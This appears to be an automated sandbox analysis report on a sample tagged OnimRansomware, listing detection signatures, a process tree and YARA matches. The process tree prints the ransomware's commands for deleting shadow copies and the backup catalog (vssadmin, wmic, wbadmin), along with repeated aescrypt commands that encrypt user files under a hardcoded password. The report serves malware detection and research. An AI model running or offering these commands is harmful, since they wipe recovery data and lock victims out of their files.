Play interactive tour

Edit tour

Analysis Report hztxqReczN

Overview

General Information

Sample Name:	hztxqReczN (renamed file extension from none to exe)
Analysis ID:	385065
MD5:	f6587e051ff9bf2e20825470ae5b3775
SHA1:	9b28d1e6cbff6b1397712a49c540b2ef999d78bc
SHA256:	98e3304a43402227458a979aad31e2ec1543c0c5d58c118d0a8fa8c70cc78d74
Tags:	OnimRansomware
Infos:
Most interesting Screenshot:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Delete shadow copy via WMIC

Deletes shadow drive data (may be related to ransomware)

Deletes the backup plan of Windows

May disable shadow drive data (uses vssadmin)

Tries to harvest and steal browser information (history, passwords, etc)

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sleep loop found (likely to delay execution)

Too many similar processes found

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected AESCRYPT Tool

Classification

Startup

System is w10x64

hztxqReczN.exe (PID: 6608 cmdline: 'C:\Users\user\Desktop\hztxqReczN.exe' MD5: F6587E051FF9BF2E20825470AE5B3775)

cmd.exe (PID: 6680 cmdline: 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vssadmin.exe (PID: 6784 cmdline: vssadmin delete shadows /quiet /all MD5: 47D51216EF45075B5F7EAA117CC70E40)

WMIC.exe (PID: 6912 cmdline: wmic.exe shadowcopy delete MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

wbadmin.exe (PID: 6968 cmdline: wbadmin delete catalog /quiet MD5: EE1E2C4D42579B19D765420E07589148)

aescrypt.exe (PID: 7004 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 7044 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 7060 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 7084 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 7100 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 7116 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 5452 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 5432 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6184 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6336 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 5516 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 4792 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 4696 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6164 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6220 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 4664 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 4648 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 4556 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 3948 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6460 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 2796 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6436 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6412 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 3468 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 5656 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6504 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6604 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6396 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

aescrypt.exe (PID: 6524 cmdline: aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt' MD5: 82FF688AA9253B356E5D890FF311B59E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp	JoeSecurity_AESCRYPTTool	Yara detected AESCRYPT Tool	Joe Security
